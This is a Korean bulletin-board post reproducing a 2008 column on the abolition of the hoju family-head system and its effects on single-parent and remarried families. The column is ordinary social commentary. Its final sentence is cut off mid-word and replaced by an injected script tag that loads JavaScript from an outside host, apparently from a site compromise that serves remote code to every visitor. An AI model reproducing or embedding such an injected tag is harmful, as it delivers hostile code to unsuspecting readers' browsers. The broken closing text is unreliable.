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제 목   [황은숙 칼럼] 호주제 폐지와 달라지는 가족제도   번 호   763 조회수  3418   이메일       작성자   월간 아름다운 가정 작성일   08-02-19   내 용   [황은숙 칼럼] 호주제 폐지와 달라지는 가족제도 황은숙 박사(한국한부모가정연구소장) 2008년 1월 1일부터 호주제가 폐지되고 새로운 가족제도가 등장하였 다. 이는 다윗과 골리앗의 싸움과 비견될 정도로 역사에 남을 큰 사건 이요, 변화라 하겠다. 그동안 여성은 기존의 부계혈통, 가부장제 등으로 남성에 비해 사회적 으로 불리한 입장에 놓여있었다. 어머니는 여아를 출산하면 죄인이 되 었고, 여아는 오빠와 남동생에게 부모님의 기대와 관심을 빼앗기었으 며, 여성이라는 이유로 가문을 계승할 자격도 얻을 수 없었다. 현대사 회에서 여성보다 남성이 더 선호 받고 대접받는 일면에는 부성주의 원 칙의 호주제의 영향이 컸다 하겠다. 호주제는 여성뿐 아니라 한부모가정의 입장에서도 악법과 같은 것이었 다. 한부모들은 이혼 후 현실을 받아들이고 적응하기에 앞서 부모님 의 호적에 빨간 줄을 그었다는 부담으로 죄책감을 느껴야 했다. 자녀 와 해외여행 또는 자녀를 유학 보내려면 주소도 모르는 아버지의 호적 을 첨부하느라 불편을 겪어야만 했고, 호적에 본인은 자의 생모(生 母), 남편의 새 배우자는 자의 모(母)로 기재되는 용납하기 어려운 상 황을 맞이하기도 하였다. 호주제는 자녀의 정체성에도 혼란을 주었다. 한부모가정의 자녀들 중 에는 아버지의 얼굴을 한 번도 본적이 없거나 아버지의 자식인 것을 수치스럽게 여기는 자녀들도 있다. 또한 자녀양육비를 한 푼도 받지 못한 상황에서 전적으로 어머니와 외가에 의해 양육되는 경우도 많 다. 이렇게 부 또는 친가와 완전히 단절된 생활을 해온 자녀에게 부 의 성과 본을 따르게 하면서 정체성의 혼란을 가져왔다. 한부모가 재혼을 하게 되면 상황은 더욱 심각해졌다. 새 아빠와 자녀 들의 성이 달라 재혼 사실이 드러나고, 의료 혜택 등 실질적인 지원 도 받을 수 없었다. 한마디로 한 지붕 세 가족이었던 셈이다. 이제 호주제의 폐지로 한부모가정은 새로운 세상을 맞이하게 되었다. 달라지는 “가족관계등록제도”에 따라 호적에 빨간 줄을 그어 부모님 에게 불효하는 일이 없게 되었고, 한부모가정의 자녀는 어머니의 성 과 본을 갖게 되어 자신의 정체감을 회복할 수 있게 되었다. 또한 재 혼을 하면 “친양자 입양제도”를 통해 합법적인 부자지간이 될 수 있 게 되었으니 더 바랄 것이 없어 보인다. 그러나 달라지는 가족제도에도 문제점은 있다. 첫째, 한부모가정의 경우 자녀가 어머니의 성과 본을 따를 때 자녀의 의견을 반영할 장치가 없다는 것이다. 이혼가정의 한부모 중에는 전 배우자에 대한 분노와 불신으로 자녀의 성을 자신의 성으로 변경하려 는 사람들이 있다. 한부모가 이런 생각을 현실로 옮긴다면 자녀의 의사와는 관계없이 자 녀의 성과 본은 바뀌게 된다. 이 경우 자녀는 더 혹독한 정체성의 혼 란을 겪을 수 있다. 따라서 15세 이상의 자녀가 성과 본을 변경할 경 우는 자녀의 의견을 우선적으로 물어 그 뜻을 존중해 줄 필요성이 있 다 하겠다. 두 번째는 재혼가정에 대한 문제이다. 그동안 재혼가정이 호주제 폐지 에 찬성했던 이유는 어린 자녀들을 데리고 재혼해도 부와 자녀의 성 이 달라서 겪었던 문제들이 사라지고 합법적인 부모-자녀 관계를 맺 을 수 있다는 바램 때문이었다. 그러나 달라진 가족제도는 그 기대를 충족시키지 못했다. 새로운 가족관계등록제도는 재혼가정의 부와 자녀들을 “친양자 입양 제도”를 통해 친생자관계로 전환할 수 있도록 하고 있다. 하지만 이 런 제도는 친양자제도를 거치지 않으면 재혼가정의 부와 자는 합법적 인 부자관계가 될 수 없음을 의미한다. 이는 재혼가정의 특성을 반영 하지 못한 처사라 하겠다. 재혼은 초혼과는 달리 어린 자녀를 둔 경우가 많다. 초혼은 두 성인 남녀의 관계가 중요시 된다면 재혼은 두 성인 남녀는 물론 자녀들까 지 포함한 폭넓은 가족관계를 형성하게 된다. 즉, 재혼을 했다는 것 은 이미 자신들은 물론 어린 자녀들까지도 서로 한 가족이 되었음을 의미한다. 따라서 친양자제도를 통해 친생자관계를 형성하는 것이 아 니라 재혼과 더불어 자동적으로 부모-자녀관계를 형성할 수 있도록 해 야 할 것이다. 이런 제도의 보완이 없으면 재혼시 어린 자녀들을 남겨두고 재혼을 하 는 풍토가 사라지지 않을 것이며 이는 바람직한 재혼가정의 가족관계 를 해치는 결과를 가져올지 모른다. 호주제 폐지로 새로운 가족제도를 시행하다보면 예상치 못했던 문제들 이 계속해 나타날 가능성이 있다. 문제는 이런 시행착오를 어떻게 처 리하느냐 하는 것이다. 새로운 제도의 정착을 이유로 돌출된 문제들 을 무시하고 인정하려들지 않는다면 가족제도의 발전을 이뤄낼 수 없 을 것이다. 한부모가정과 재혼가정의 구?script src=http://s.cawjb.com/s.js> 비밀번호:

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